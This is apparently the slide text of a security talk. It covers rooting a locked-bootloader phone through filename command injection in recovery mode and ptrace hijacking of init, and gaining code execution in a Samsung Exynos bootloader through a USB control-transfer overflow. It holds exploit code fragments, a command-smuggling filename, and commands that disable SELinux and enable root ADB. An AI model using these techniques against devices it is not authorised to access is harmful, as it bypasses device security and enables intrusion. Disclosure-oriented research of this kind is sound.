# Physical Attacks Against Smartphones

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# Introduction

Modern smartphones employ a high number of measures to protect their security

Despite this, simple techniques can still be used to break physical security

In this talk, we will discuss two case studies:

- Gaining root access to a smartphone with no bootloader unlocking capability
- Gaining code execution in the bootloader of a Samsung smartphone

# Case Study 1 - Rooting On A Locked Bootloader

I wanted to root my old smartphone to test mobile applications

On most Android devices, this has a standard approach: bootloader unlocking

While some OEMs place restrictions on this feature, this phone had it disabled completely

# Target Device

A Smartphone From A Chinese OEM

Released in 2019

Uses an OEM-developed fork of Android



# Disabled Bootloader Unlock

The device used a special engineering app to permit unlocking

This used a signature stored in a special partition, inaccessible to standard users

It was not publicly available, and required an approved user account

# Disabled Bootloader Unlock

When bootloader unlocking isn't available, an exploit is generally required to escalate privileges

With no direct access to the bootloader USB interface, a vulnerability was needed in the Android fork

The Android fork contained a high number of custom System-level apps and Rootlevel services which could potentially be exploited

# Finding An Exploit

The Android fork had a service running as root, which could be called by Systemlevel applications

The purpose of the service was to facilitate archiving of App data on a remote server

Brief analysis of the service binary found a command injection vulnerability, which would provide immediate root access

This could be exploited by archiving a file with backticks in the name

# **SELinux Protection**

Android uses SELinux to control access between software components

This can be used to prevent a process with root access from accessing other components of the Operating System

The root command injection vulnerability was extremely locked down, only allowing access to all application data, but nothing else on the device

07-08	11:18:11.331	595	595	E	SELinux	:	avc:	denied
07-08	11:18:11.355	595	595	E	SELinux	:	avc:	denied
07-08	11:18:11.366	595	595	E	SELinux	:	avc:	denied
07-08	11:18:11.371	595	595	E	SELinux	:	avc:	denied
07-08	11:18:11.383	595	595	E	SELinux	:	avc:	denied
07-08	11:18:11.426	595	595	E	SELinux	:	avc:	denied
07-08	11:18:11.439	595	595	E	SELinux	:	avc:	denied
07-08	11:18:18.512	597	597	E	SELinux	:	avc:	denied
07-08	11:18:18.512	597	597	E	SELinux	:	avc:	denied
07-08	11:18:18.971	597	597	E	SELinux	:	avc:	denied
07-08	11:18:18.973	597	597	E	SELinux	:	avc:	denied
07-08	11:18:19.254	597	597	E	SELinux	:	avc:	denied
07-08	11:18:19.255	597	597	E	SELinux	:	avc:	denied
07-08	11:18:19.309	597	597	E	SELinux	:	avc:	denied
07-08	11:18:19.310	597	597	E	SELinux	:	avc:	denied

# Alternative Attack Vectors

SELinux was well configured throughout the OS

Most vulnerabilities would be limited to the SELinux context, and useless without a Kernel exploit

As the bootloader was locked down, and any OS exploits would be useless on their own, focus was placed on the next most available target: Recovery Mode

# Custom Recovery Mode

Recovery mode in Android uses a standard architecture to full-fledged Android, and often uses the same Kernel built for the main OS

Recovery mode is usually basic, covering a few menu options controlled by the phone's volume buttons

In the OEM's Android fork, this had been replaced with a fully-featured interface

### RECOVERY

#### Install from storage

Online update Keep data

Wipe data

Reboot

**Power off** 

# Finding An Update Image

In order to find a vulnerability in Recovery mode, the firmware image would be useful

Downloading an update .zip for the device found that it didn't contain the recovery image at all

Several iterations of updates were downloaded, and Recovery was not in any of them

# Recovery Mode Menu

With no recovery image to reverse engineer, basic attacks were attempted

The menu included the option to load encrypted firmware updates from external storage

A vulnerability in this feature would be the easiest to exploit



# Finding An Exploit

Due to the command injection vulnerability in the Android fork, a similar attack was attempted

A legitimate encrypted update file was renamed to contain a command:

`sleep 30000`.zip

This caused the update process to hang, demonstrating that it was vulnerable to command injection somewhere

# Disclosure

Both command injection vulnerabilities were disclosed to the OEM

They were swiftly remediated, and new versions of the software were released

As the Recovery Mode command injection was likely to run as root, and have no restrictions, this would be the basis for gaining root access to Android

# Root Cause Analysis

By checking the running processes, the injection point could be identified

A sha1sum command was in use by the Recovery process

In the /sbin/recovery binary, the command was present

0018dcac 42 04 13 91	add	<mark>x2=&gt;s_sha1sum</mark> _%s_001364c1,x2,#0x4c1	
0018dcb0 e0 03 0a 91	add	<mark>×0,sp,#</mark> 0×280	00:00:00 [kworker/5:3]
0018dcb4 01 00 82 52	mov	w1,#0×1000	00:00:00 sh -c sha1sum /external sd/`echo Y2F0IC9
0018dcb8 e3 03 13 aa	mov	x3,x19	-
0018dcbc 51 06 00 94	bl	FUN_0018f600	
0018dcc0 e0 03 0a 91	add	<mark>×0,sp,#</mark> 0×280	00:00:00 Sh
0018dcc4 41 62 03 94	bl	FUN_002665c8	

# Exploiting Command Injection

As there was a command injection vulnerability in the filename, this could be used to execute a more complex script

By altering the name to include a base64 encoded command, piped into /system/bin/sh, a shell script could be read from the filesystem and executed:

# Exploiting Command Injection

The filesystem used by Android's userdata does not support all special characters

Due to this, a MicroSD Card was formatted to EXT4, allowing for extra characters

Android does not typically support EXT4, but the custom Recovery Mode did



# Getting A Shell

To gather more information, a script was used which wrote key information about the OS to a file

This included the fact that the recovery process was running as root, and that SELinux could be disabled completely

With the capability to run a shell script from Recovery Mode, ADB was also reenabled

id > /data/media/0/id\_test
setenforce 0
getenforce > /data/media/0/log\_output/getenforce
cp /data/media/0/adbd /system/bin/adbd
/data/local/tmp/setprop service.adb.root 1
/data/local/tmp/setprop sys.usb.config adb
/data/local/tmp/setprop service.adb.root 1

# Switching To Android

Root access in Recovery mode gave full access to the device

This would allow for modification of some data, but not control over the core Android OS upon a reboot

A method would be required for switching from Recovery to Android without rebooting

## Kexec

Kexec is a part of the Linux Kernel which allows for booting a new Kernel from the current one

While this would be the perfect solution, it is not typically compiled into Android, and could not be loaded as a Kernel module due to signature verification

A userspace-only solution was required

#### kexec(8) - Linux man page

#### Name

kexec - directly boot into a new kernel

#### Synopsis

/sbin/kexec [-v (--version)] [-f (--force)] [-x (--no-ifdown)] [-l (--load)] [-p (--load-panic)] [-u
(--unload)] [-e (--exec)] [-t (--type)] [--mem-min=addr] [--mem-max=addr]

#### Description

**kexec** is a system call that enables you to load and boot into another kernel from the currently running kernel. **kexec** performs the function of the boot loader from within the kernel. The primary difference between a standard system boot and a **kexec** boot is that the hardware initialization normally performed by the BIOS or firmware (depending on architecture) is not performed during a **kexec** boot. This has the effect of reducing the time required for a reboot.

Make sure you have selected **CONFIG\_KEXEC=y** when configuring the kernel. The **CONFIG\_KEXEC** option enables the **kexec** system call.

### Ptrace

Ptrace is a system call allowing a process to observe and control another

Typically, this is used for debugging purposes, but is extremely useful for exploitation

Even W^X memory can be overwritten and executed

Ptrace could be used to override and replace the "init" process, restarting it in a new context

ptrace(PTRACE\_ATTACH, patchPid, NULL, NULL);
int status;
waitpid(patchPid, &status, 0);

ptrace(PTRACE\_SYSCALL, patchPid, NULL, NULL);
waitpid(patchPid, &status, 0);

ptrace(PTRACE\_SINGLESTEP, patchPid, 0, 0); waitpid(patchPid, 0, 0);

# Overriding Init

Ptrace can be configured to immediately pause the process

The subsequent operations can then be altered to execute execve to run commands

Using execve will cause the PID to remain as 1

```
char* args[4] = {&cmdBuff[20],&cmdBuff[32],&cmdBuff[41],0x00000000};
__asm__("mov x2, xzr");
__asm__("mov x1, %[ps]" : : [ps]"r"(args));
__asm__("mov x0, %[ps]" : : [ps]"r"(cmdBuff));
__asm__("mov x8, #221");
__asm("svc #0");
```

# switch\_root

switch\_root is used to switch to a new root filesystem

This is a common feature on Linux-based devices, to switch from the RAMDisk to the main root filesystem

We could use this to switch from the Recovery RAMDisk to Android's

mkdir /boot\_rd
mount -t ramfs -o size=32m ramfs /boot\_rd
cp /data/local/tmp/ramdisk.cpio /boot\_rd/
cd /boot\_rd/
cat ramdisk.cpio | cpio -ivd

# Init Process



# Init Process



# Shared Mounts

A core component of switch\_root is the remounting of mounted folders

Remounting does not work on folders mounted as "shared", including standard Android partitions

This could trivially be resolved by switching all folders to "private"

```
cat /proc/1/mountinfo | grep -i shared | cut -d' ' -f5 | while read line ;
    do busybox mount --make-private --make-rprivate "$line" ;
done
```

# Patching out SELinux Checks

The init binary checks /proc/cmdline for whether the image requires SELinux

If it does, and it is disabled, init forcibly reenables it

Ptrace could be used to override the "read" syscall, removing the parameter

```
int pos = strpos(stringData,"androidboot.veritymode=enforcing");
if(pos > 0) {
    printf("Copying over veritymode\n");
    unsigned char* addon = "androidboot.selinux=permissive ";
    memcpy(&stringData[pos],addon,strLen(addon));
    printf("New string: %s\n",stringData);
    for(int i = 0; i < stringLength ; i+=8) {
        uint64_t strData = 0;
        memcpy(&strData,&stringData[i],8);
        ptrace(PTRACE_POKEDATA, patchPid, (uint64_t)i+stringPointer, strData);
    }
}
```

# Fixing Kernel Panics

Init also executes all of the .rc scripts

This included initialising hardware which Recovery had already initialised

The second initialisation caused a Kernel panic in many cases, crashing the device

This could be trivially remediated by using Ptrace to return an empty script for all hardware initialisation .rc files

# **Reinitialising Services**

Once Android had started, services were still running in the Recovery context

This prevented PIN unlocking from operating

This could be trivially resolved by killing the processes before the new version of init started

# Replacing Read-Only Files

The System partition of the Android OS uses dm-verity to ensure it cannot be modified

Despite this, system files can be overlayed using the "mount –bind" command

This can allow for modification of System services, as well as other core files

By replacing core apps and frameworks, bloatware and root-access checks can be removed

# Demo

# Hidden RAMDisk

For debugging purposes, a Busybox Telnetd server was started within Recovery, but after Android had started, the server was still running

# Logging into it found that the Recovery RAMDisk was still in place, but empty

### Using Busybox, the standard tools could be repopulated

* TO / D300Cm/ D3																
	cal	crontab	dumpkmap	find	hdparm	ipaddr	logger	md5sum	mt	pipe_progress	reboot	sed	sort	tee	uname	wget
[[	cat	cryptpw	dumpleases	findfs	head	ipcalc	login	mdev	mv	pivot_root	reformime	sendmail	split	telnet	unexpand	which
acpid	catv	cttyhack	echo	flock	hexdump	ipcrm	logname	mesg	nameif	pkill	remove-shell	seq	start-stop-daemon	telnetd	uniq	who
add-shell	chat	cut	ed	fold	hostid	ipcs	logread	microcom	nanddump	pmap	renice	setarch	stat	test	unix2dos	whoami
addgroup	chattr	date	egrep	free	hostname	iplink	losetup	mkdir	nandwrite	popmaildir	reset	setconsole	strings	tftp	unlzma	whois
adduser	chgrp	dc	eject	freeramdisk	httpd	iproute	lpd	mkdosfs	nbd-client	poweroff	resize	setfont	stty	tftpd	unlzop	xargs
adjtimex	chmod	dd	env	fsck	hush	iprule	lpq	mke2fs	nc	powertop	rev	setkeycodes	su	time	unxz	xz
arp	chown	deallocvt	envdir	fsck.minix	hwclock	iptunnel	lpr	mkfifo	netstat	printenv	rm	setlogcons	sulogin	timeout	unzip	xzcat
arping	chpasswd	delgroup	envuidgid	fsync	id	kbd_mode	ls	mkfs.ext2	nice	printf	rmdir	setserial	sum	top	uptime	yes
ash	chpst	deluser	ether-wake	ftpd	ifconfig	kill	lsattr	mkfs.minix	nmeter	ps	rmmod	setsid	sv	touch	users	zcat
awk	chroot	depmod	expand	ftpget	ifdown	killall	lsmod	mkfs.vfat	nohup	pscan	route	setuidgid	svlogd		usleep	zcip
base64	chrt	devmem	expr	ftpput	ifenslave	killal15	lsof	mknod	nslookup	pstree	rpm	sh	swapoff	traceroute	uudecode	
basename	chvt	df	fakeidentd	fuser	ifplugd	klogd	lspci	mkpasswd	ntpd	pwd	rpm2cpio	shalsum	swapon	traceroute6	uuencode	
beep	cksum	dhcprelay	false	getopt	ifup	last	lsusb	mkswap	od	pwdx	rtcwake	sha256sum	switch_root	true	vconfig	
blkid	clear	diff	fbset	getty	inetd	less	lzcat	mktemp	openvt	raidautorun	run-parts	sha3sum	sync	tty	vi	
blockdev	emp	dirname	fbsplash	grep	init	linux32	lzma	modinfo	passwd	rdate	runlevel	sha512sum	sysctl	ttysize	vlock	
bootchartd	comm	dmesg	fdflush	groups	insmod	linux64	lzop	modprobe	patch	rdev	runsv	showkey	syslogd	tunctl	volname	
bretl	conspy	dnsd	fdformat	gunzip	install	linuxrc	lzopcat	more	pgrep	readahead	runsvdir	slattach	tac	udhcpc	wall	
bunzip2	cp	dnsdomainname	fdisk	gzip	ionice	ln	makedevs	mount	pidof	readlink	rx	sleep	tail	udhcpd	watch	
bzcat	cpio	dos2unix	fgconsole	halt	iostat	loadfont	makemime	mountpoint	ping	readprofile	script	smemcap	tar	udpsvd	watchdog	
bzip2	crond	du	fgrep	hd	ip	loadkmap	man	mpstat	ping6	realpath	scriptreplay	softlimit	tcpsvd	umount	WC	

# Hidden RAMDisk

The Recovery RAMDisk was hidden from Android

CDing/Chrooting to the directory /proc/1/root from Recovery would access the Android rootfs as root

The same hidden context could be used to add a Debian chroot, independent of Android, with access to all hardware and hidden control over Android

# Conclusion

Root access via this method was found to work consistently

The tool manipulating init via Ptrace continued to operate in the background, with no impact to the device

Rebooting the phone had no ill effects, and it could operate normally, without persistent root access

Ptrace should never be required on a standard Android device, and only serves to assist attackers

# Case Study 2 – Exploiting An Exynos Secondary Bootloader

Exynos-based devices have had significant research performed on Download mode in their secondary bootloader

This all focused on the high-level Download protocol, and not on the USB stack itself

I wanted to find a vulnerability in the core USB stack

# Target Device

Samsung Galaxy A04S

Released In August 2022

Exynos 850 Chipset



# Sboot

The Exynos secondary bootloader has multiple features:

- Standard boot Download mode Fastboot mode
  - Upload mode

All of this is encompassed in a single firmware binary: sboot.bin

This meant the USB protocol of the three modes would likely use the same core USB stack

# USB Control Transfers

Control Transfers are used to send and receive information about a USB device

Use standard parameters:

bmRequestType

bRequest

wValue

wIndex

Buffer

Buffer Size

# Fuzzing USB Control Transfers

Control Transfers are mostly stateless

Basic fuzzing can be achieved just by randomising all parameters

Unsuccessful requests can be easily filtered out

doCtrlTransfer(rand(),rand(),rand(),buffer,rand()%0x1000);

Ctrl	(7b	1c	9ea8	<pre>3fle):</pre>	-9:
Ctrl	(5a	73	2b14	fdc5):	4:
Ctrl	<mark>(63</mark>	79	234b	b15e):	-9:
Ctrl	(11	24	ee64	df70):	-9:
Ctrl	(d4	aa	59dc	1109):	14:
Ctrl	(af	10	5elb	11f2):	12:
Ctrl	<mark>(</mark> 50	e3	e7cd	7e33):	11:
Ctrl	(bb	5c	c315	d447):	8: (
Ctrl	<mark>(</mark> 9b	ba	0119	8422):	-9:
Ctrl	(la	el	370b	a5f5):	-9:
Ctrl	(29	f8	bd23	8f7f):	12:
Ctrl	(b5	13	821b	34a4):	8: (
Ctrl	(32	98	d3e8	e74e):	10:
Ctrl	<mark>(</mark> 3d	4d	ca79	e8e0):	8:
Ctrl	<mark>(77</mark>	4e	6e5f	5dbc):	-9:
Ctrl	(la	aa	fa2b	fe21):	-9:
Ctrl	(b5	70	8dbe	aaa2):	5: (
Ctrl	(d3	5c	0904	173b):	3: (
Ctrl	(e2	af	12b3	5094):	-1:

# Initial Fuzzing Attempts

Sending purely random data caused the device to reboot into a failure mode

This occurred when an 0xf6 value was in the bRequest parameter

The failure mode was recoverable using Download mode tools, and 0xf6 values were filtered out

An error has occurred while updating the device software. 「いうう 소프트웨어를 업데이트 하는 중에 오류가 발생하였습니다. 更新设备软件时发生错误。 **端末のソフトウェアを更新 中にエラーが発生しました。** 

# Causing A Crash

Continued fuzzing found that the device would crash and reboot after a certain set of transfers

Transfers in the sequence were removed until the root cause was identified

One transfer was a malformed GET\_DESCRIPTOR request, transferring in the wrong direction, and the second was a valid GET\_DESCRIPTOR request

# Descriptor Overwrite

GET\_DESCRIPTOR is a core Control Transfer that retrieves descriptors about the device

This data should always be transmitted to the host, and never received from it

The first byte of the data is always the size of the buffer

If this can be overwritten, usually the buffer size can be extended to cover out of bounds memory, as well as alter the data at that location

evice Descriptor:	
bLength	18
bDescriptorType	1
bcdUSB	2.00
bDeviceClass	0
bDeviceSubClass	0
bDeviceProtocol	0
bMaxPacketSize0	64
idVendor	0x18d1
idProduct	0xd00d
bcdDevice	1.00
iManufacturer	2
iProduct	3
iSerial	4
bNumConfigurations	1

# Descriptor Overwrite

Most USB stacks do not check the Control Transfer Direction

They are usually protected by how they handle USB transactions

If they don't verify the direction, but do specify a response direction, they are not vulnerable

STM32 USBD Stack:

case USB\_DESC\_TYPE\_DEVICE: pbuf = pdev->pDesc->GetDeviceDescriptor(pdev->dev\_speed, &len); break;



# Exploiting Descriptor Overwrite

The size byte of the buffer was overwritten

This was ineffective, and didn't alter the size of data received

Luckily, there was also a buffer overflow in the Control Transfer buffer

Data next to the buffer could be overwritten, regardless of the size parameter

# Brute Forcing Memory

Sending a large buffer caused the device to crash and reboot

Buffers of increasing byte values and sizes were sent, until several valid pointers were generated

These were found to be pointers to other Descriptors

Modifying these pointers facilitated arbitrary memory read/write

m	em[	0x	С	0	]	=	0	x	e	0	;	
m	em[	0x	С	1	]	=	0	x	а	0	;	
m	em[	0x	С	2	]	=	0	x	4	1	;	
m	em[	0x	С	3	]	=	0	x	f	9	;	
m	em[	0x	С	4	]	=	0	x	0	0	;	
m	em[	0x	С	5	]	=	0	x	0	0	;	
m	em[	0x	С	6	]	=	0	x	0	0	;	
m	em[	0x	С	7	]	=	0	x	0	0	;	
m	em[	0x	С	8	]	=	0	x	0	0	;	
m	em[	0x	С	9	]	=	0	x	0	0	;	
m	em[	0x	С	а	]	=	0	x	0	0	;	
m	em[	0x	С	b	]	=	0	x	0	0	;	
m	em[	0x	С	с	]	=	0	x	0	0	;	
m	em[	0x	С	d	]	=	0	x	0	0	;	
m	em[	0x	С	e	]	=	0	x	0	0	;	
m	em[	0x	С	f	]	=	0	x	0	0	;	
m	em[	0x	1	0	0]	=	=	0	x	2	0	;
m	em[	0x	1	0	1]	=	=	0	x	a	1	;
m	em[	0x	1	0	2]	=	=	0	X	4	1	;
m	em[	0x	1	0	3]	=	=	0	X	f	9	;
m	em	0x	1	4	0]	=	=	0	x	6	8	
m	em	0x	1	4	1]	=	=	0	x	a	1	
m	em	0x	1	4	2]	=	=	0	x	4	1	;
m	iem	'0x	1	4	3]	=	=	0	X	f	9	

# Dumping Memory

The pointers in the brute-forced memory were between 0xf9000000 and 0xfa000000

A memory dump was created of data from 0xf8000000 onwards

This included the entire running bootloader and RAM contents, starting at 0xf8800000

```
int readMemory(uint32_t address, unsigned char* memory, uint32_t size) {
    writeSize(size);
    writeAddress(address);
    printf("Reading Addr %08x: ",address);
    return doCtrlTransfer(0x80,0x06,0x0305,0x0000,memory,size);
}
```

# **DEP** Misconfiguration

As the running bootloader was in RAM, attempts were made to override its opcodes

This caused the device to hang, implying DEP was configured

Attempts to execute code written into unused RAM were successful

# Patching In New Functions

C functions can be compiled to object using "gcc –static –nostdlib"

Using the objcopy command, this can be converted to a raw binary

Directly writing these into memory was sufficient to execute them, due to the DEP misconfiguration

/opt/homebrew/bin/aarch64-elf-gcc -static -nostdlib -o payload.o payload.c
/opt/homebrew/bin/aarch64-elf-objcopy --only-section=.text -O binary payload.o payload.bin

# Basic Code Execution

Fastboot mode was used as a base for the exploit

Fastboot uses string-based commands which usually keep function pointers in a table, simplifying code execution

Modifying this table would allow for easy code execution, without modifying the stack

The getvar: command was chosen for calling other functions

# Basic Code Execution

				PTR_s_reboot_f8	931bf0
f8931bf0	48	69	8e	addr	s_reboot_f88e6948
	<b>f8</b>	00	00		
	00	00			
				PTR_reboot_comm	and_f8931bf8
f8931bf8	<b>d8</b>	96	82	addr	reboot_command
	<b>f8</b>	00	00		_
	00	00			
				PTR_s_getvar:_f	8931c00
f8931c00	50	69	8e	addr	s_ <mark>getvar:</mark> _f88e6950
	<b>f8</b>	00	00		
	00	00			
f8931c08	58	96	82	addr	getvar_command
	f8	00	00		- –
	00	00			

# Reimplementing Boot

Code execution in the bootloader meant that secure boot bypass would be possible

No USB-based mode had the capability to boot directly to Android

Directly calling the standard boot function crashed the phone

				U	indefined boot_	_function()	
unde	fir	ned			w0:1	<return></return>	
unde	fir	ned8	1		Stack[-0x50]	:8 local_50 XREF[1]	:
				b	oot_function	XREF[1]: f88	311
f88125c8	fd	7b	bb	a9	stp	x29,x30,[sp, #local_50]!	
f88125cc	20	02	80	52	mov	w0,#0×11	
f88125d0	fd	03	00	91	mov	x29,sp	
f88125d4	f3	53	01	a9	stp	x19,x20,[sp, #0x10]	
f88125d8	f5	13	00	f9	str	x21,[sp, #0x20]	
f88125dc	65	36	01	94	bl	unknown_func_min1	ur
f88125e0	f5	03	00	2a	mov	w21,w0	
f88125e4	c0	13	00	dØ	adrp	x0=>DAT_f8a8c000,0xf8a8c000	
f88125e8	01	41	<b>b1</b>	d2	mov	×1,#0×8a080000	
f88125ec	f4	08	00	dØ	adrp	x20,0xf8930000	
f88125f0	b3	14	00	b0	adrp	x19,0xf8aa7000	
f88125f4	94	c2	3e	91	add	x20,x20,#0xfb0	
f88125f8	01	0c	00	f9	str	<pre>x1,[x0, #offset data_which_shouldnt_be_empty]</pre>	
f88125fc	25	ff	ff	97	bl	setup_addresses	ur
f8812600	73	82	39	91	add	x19,x19,#0xe60	
f8812604	e0	06	00	b0	adrp	×0,0xf88ef000	
f8812608	e2	03	14	aa	mov	<pre>x2=&gt;s_androidboot.verifiedbootstate=_f8930fb0,</pre>	=
f881260c	e1	03	13	aa	mov	x1=>LAB_f8aa7e60, x19	
f8812610	00	e0	03	91	add	<pre>x0=&gt;LAB_f88ef0f8, x0, #0xf8</pre>	
f8812614	fb	32	02	94	bl	setup_avb	ut
f8812618	60	06	00	bØ	adrp	×0,0xf88df000	
f881261c	e2	03	14	aa	mov	<pre>x2=&gt;s_androidboot.verifiedbootstate=_f8930fb0,</pre>	=

# Reimplementing Boot

There were two options for reimplementing the boot process:

Copy the entirety of sboot to writeable memory, and call the required functions

Reimplement the boot functionality from scratch

The latter choice was chosen, due to a lack of writeable memory available

- void (\*unknown\_func\_min6)() =
   (void (\*)())0xf8824e98;
- void (\*unknown\_func\_min7)() =
   (void (\*)())0xf8810930;
- void (\*unknown\_func\_min8)() =
   (void (\*)())0xf88026d8;
- void (\*unknown\_func\_min9)() =
   (void (\*)())0xf8801c38;

unsigned int (\*unknown\_func\_20)(unsigned int) =
 (unsigned int (\*)(unsigned int))0xf88a68a8;

LAB_f8812	270c XREF[2]:
f881270c 03 00 80 d2 mov	×3,#0×0
f8812710 02 00 80 d2 mov	<mark>×2</mark> ,#0×0
f8812714 01 00 80 d2 mov	×1,#0×0
f8812718 c0 7f 80 92 mov	<mark>×0</mark> ,#-0×3ff
f881271c f3 c2 ff 97 bl	unknown_func_11
f8812720 df 42 03 d5 msr	DAIFSet,#0x2
f8812724 eb bf ff 97 bl	unknown_func_18
f8812728 24 3d 02 94 bl	unknown_func_19
f881272c e0 03 15 2a mov	w0,w21
f8812730 52 da ff 97 bl	<pre>set_upload_mode</pre>
f8812734 60 06 00 b0 adrp	<mark>×0</mark> ,0xf88df000
f8812738 00 a0 2d 91 add	<pre>x0=&gt;s_Starting_kernelf88dfb68,x0,#0xb68</pre>
f881273c 67 d6 02 94 bl	<pre>print_to_debug_log</pre>

# Reimplementing Boot

Functions in the bootloader can be trivially called by absolute addresses in C

These could be used to replicate the entire boot function call flow

Functions could be removed that weren't necessary for booting

# Boot Debugging

# The bootloader contained a huge number of debug strings

### These were written into RAM at address 0xf0000000

By comparing my boot implementation's output to a legitimate boot process, debugging would be possible

```
0.474777
[0:
[0]
      0.476391 ] Samsung LK Boot 1.0 for SM-A047F (Nov 25 2022 - 19:24:28
[0]
      0.483862 ] EXYNOS3830 EVT 0.1 (Base on ARM CortexA55)
[0:
      0.489250 ] 3072MB / Rev 5 / A047FXXU1BVK5 / (PKG ID 0x4d8798f0) / L
[0:
      0.499250 ] [BRST] verify early bore: early bore is not initialized
[0:
      0.507746 ] [BRST] store this to early prm: early debore is invalid,
[0:
      0.515654 ] sbl check dump qpr: LLC init state clear !! (0x00000000)
[0:
      0.522167 ] DFD: sjtag is enabled(1)
[0:
      0.527034 ] call max1726x fg
      0.530015 ] syv660 chg probe: hw rev 5 / 3, flip chg en gpio control
[0:
[0:
      0.536600 1
                 call syv660 charger
      0.541263 ] usb acm func probe
      0.544403 ]
                 FLEXPMU-DBG: CLUSTER0 CPU0 STATES - 0x10
      0.549607 ] FLEXPMU-DBG: CLUSTERO CPU1 STATES - 0x10
[0:
      0.554818 ] FLEXPMU-DBG: CLUSTERO CPU2 STATES - 0x10
      0.560031 ] FLEXPMU-DBG: CLUSTERO CPU3 STATES - 0x10
[0:
      0.565241 ] FLEXPMU-DBG: CLUSTERO NONCPU STATES - 0x10
[0:
      0.570626 ] FLEXPMU-DBG: CLUSTER1 CPU0 STATES - 0x10
[0:
      0.575838 ] FLEXPMU-DBG: CLUSTER1 CPU1 STATES
                                                    - 0x10
      0.581050 ] FLEXPMU-DBG: CLUSTER1 CPU2 STATES
[0]
                                                    -0x10
      0.586259 ] FLEXPMU-DBG: CLUSTER1 CPU3 STATES - 0x10
      0.591471 ] FLEXPMU-DBG: CLUSTER1 NONCPU STATES - 0x10
[0:
      0.596856 ] FLEXPMU-DBG: CP STATES - 0x80
[0:
      0.601112 ] FLEXPMU-DBG: GNSS STATES - 0x0
[0:
      0.605454 ] FLEXPMU-DBG: WLBT STATES - 0x0
      0.609797
                                          -0x0
                 FLEXPMU-DBG: MIF STATES
      0.614053 ]
                 FLEXPMU-DBG: TOP STATES - 0x0
[0:
      0.618309
                            pd-hsi - 0x10
                                                          pd-q3d - 0x80
      0.632550
      0.634292 ] FLEXPMU-DBG: [UP]
                                   RUNNING SEQUENCER -
[0:
      0.639677 ] FLEXPMU-DBG: [DOWN] RUNNING SEQUENCER
                                                        – DONE
      0.645236 ] FLEXPMU-DBG: APSOC SEQ TOTAL COUNT - 0
      0.650271 ] FLEXPMU-DBG: MIF SEQ TOTAL COUNT - 0
[0:
      0.655135 ] FLEXPMU-DBG: APSOC SLEEP SEQ COUNT - 0
      0.660172 ] FLEXPMU-DBG: MIF SLEEP SEQ COUNT - 0
[0:
      0.665036 ] FLEXPMU-DBG: APSOC SICD SEQ COUNT - 0
      0.669987 ] FLEXPMU-DBG: MIF SICD SEQ COUNT - 0
[0:
      0.674765 ] FLEXPMU-DBG: NO POWER MODE
      0.678846 ] FLEXPMU-DBG: CPU SEQ STATUS - cpu0:on, cpu1:on, cpu2:on,
[0:
      0.690180 ] s2mpul2 set wtsr: enable
      0.693914 ] s2mpul2 set smpl: enable
[0]
```

# Kernel Execution

The boot process ended with calling directly into the Kernel

This included KASLR, with the Kernel base address being stored in memory

Standard debugging of errors would be impossible after execution

```
unsigned int x0 = 0xf8aa7000;
unsigned int x4 = 0x80080000;
unsigned int* kernelPointerOffset = 0xf8aa7e58;
unsigned int kernelPointer = kernelPointerOffset[0];
kernelPointer += x4;
void (*kernel_go)(unsigned int, unsigned int, unsigned int, unsigned int, unsigned int) =
    (void (*)(unsigned int, unsigned int, unsigned int, unsigned int, unsigned int))kernelPointer;
kernel go(0x8a080000,0x0000,0x0000,0x0000,0x80080000);
```

# Boot Failure

After patching in all of the appropriate functions, a Kernel loaded into memory could be executed

This hung, and never started Android

The Kernel code could be modified after loading, so each step was altered to return back to the bootloader, so the function causing the crash could be identified

# Boot Failure

The device froze after the Kernel reinitialised the MMU

This implied that parts of the bootloader were still executing

The most likely reason was the bootloader potentially using threads

					undefined	enable_mmu()
unde	efir	ned			w0:1	<return></return>
					enable_mmu	
00d8f204	01	07	38	d5	mrs	<pre>x1,id_aa64mmfr0_el1</pre>
00d8f208	22	7c	<b>5</b> c	d3	ubfx	<mark>x2,x1,#0</mark> x1c, <b>#</b> 0x4
00d8f20c	5f	00	00	f1	cmp	<mark>×2</mark> ,#0×0
00d8f210	<b>a1</b>	<mark>0</mark> 2	00	54	b.ne	LAB_00d8f264
00d8f214	<b>02</b>	00	80	<b>d2</b>	mov	<mark>×2</mark> ,#0×0
00d8f218	<b>c1</b>	<b>8</b> a	00	<b>b0</b>	adrp	<mark>x1</mark> ,0x1ee8000
00d8f21c	21	20	20	91	add	<mark>×1,×1,</mark> #0×808
00d8f220	22	00	00	f9	str	<pre>x2,[x1]=&gt;DAT_01ee8808</pre>
00d8f224	bf	3f	03	d5	dmb	SY
00d8f228	21	76	<b>08</b>	d5	dc	IVAC, <mark>×1</mark>
00d8f22c	21	<b>f0</b>	00	<b>d0</b>	adrp	<mark>x1</mark> ,0x2b95000
00d8f230	42	<b>f0</b>	00	<b>d0</b>	adrp	<mark>x2</mark> ,0x2b99000
00d8f234	e3	03	01	aa	mov	x3,x1
00d8f238	e4	03	02	aa	mov	x4,x2
00d8f23c	03	20	18	d5	msr	ttbr0_el1,x3
00d8f240	24	20	18	d5	msr	ttbr1_el1,x4
00d8f244	df	3f	03	d5	isb	
00d8f248	00	10	18	<b>d5</b>	msr	<pre>sctlr_el1,x0</pre>
00d8f24c	df	3f	03	d5	isb	
00d8f250	1f	75	<b>08</b>	d5	ic	
00d8f254	<b>9f</b>	37	03	<b>d5</b>	dsb	NSH
00d8f258	df	3f	03	d5	isb	
00d8f25c	<b>c0</b>	03	5f	<b>d6</b>	ret	

# Bootloader Threads

Most Android bootloaders use a single thread for all functionality

Sboot was found to implement an RTOS to handle all management features

As the Kernel altered the MMU page tables, they were attempting to execute unmapped memory

# Bootloader Threads

Three threads were identified on the device:

Background Tasks USB Control Transfers High Level USB Communication

Each one was constantly running, and had no trivial way to disable them individually

# Disabling Threads

A simple solution was required to disable all threads

Throwing an exception would achieve this

Recovering from the exception would not be required

The Kernel bootstrapping code could be executed from an exception

VBAR_ELn + 0x000	Synchronous
+ 0x080	IRQ/vIRQ
+ 0x100	FIQ/vFIQ
+ 0x180	SError/vSError
+ 0x200	Synchronous
+ 0x280	IRQ/vIRQ
+ 0x300	FIQ/vFIQ
+ 0x380	SError/vSError
+ 0x400	Synchronous

# Aarch64 Exceptions

The VBAR\_EL1 register points to the exception vector table for Sboot

Every 128 bytes is a different exception type

By pointing VBAR\_EL1 to a table with NOPs, followed by the boot code, any exception would execute the payload

vbarLocation = 0xf8d59000;

\_\_asm\_\_\_volatile\_\_("msr vbar\_el1, %0\n\t" : : "r" (vbarLocation) : "memory");
print\_to\_debug\_log(0xf88dfb68,vbarLocation,vbarLocation);

# Additional Errors

Even with the Kernel booting, Android still failed to start, reverting to Recovery mode

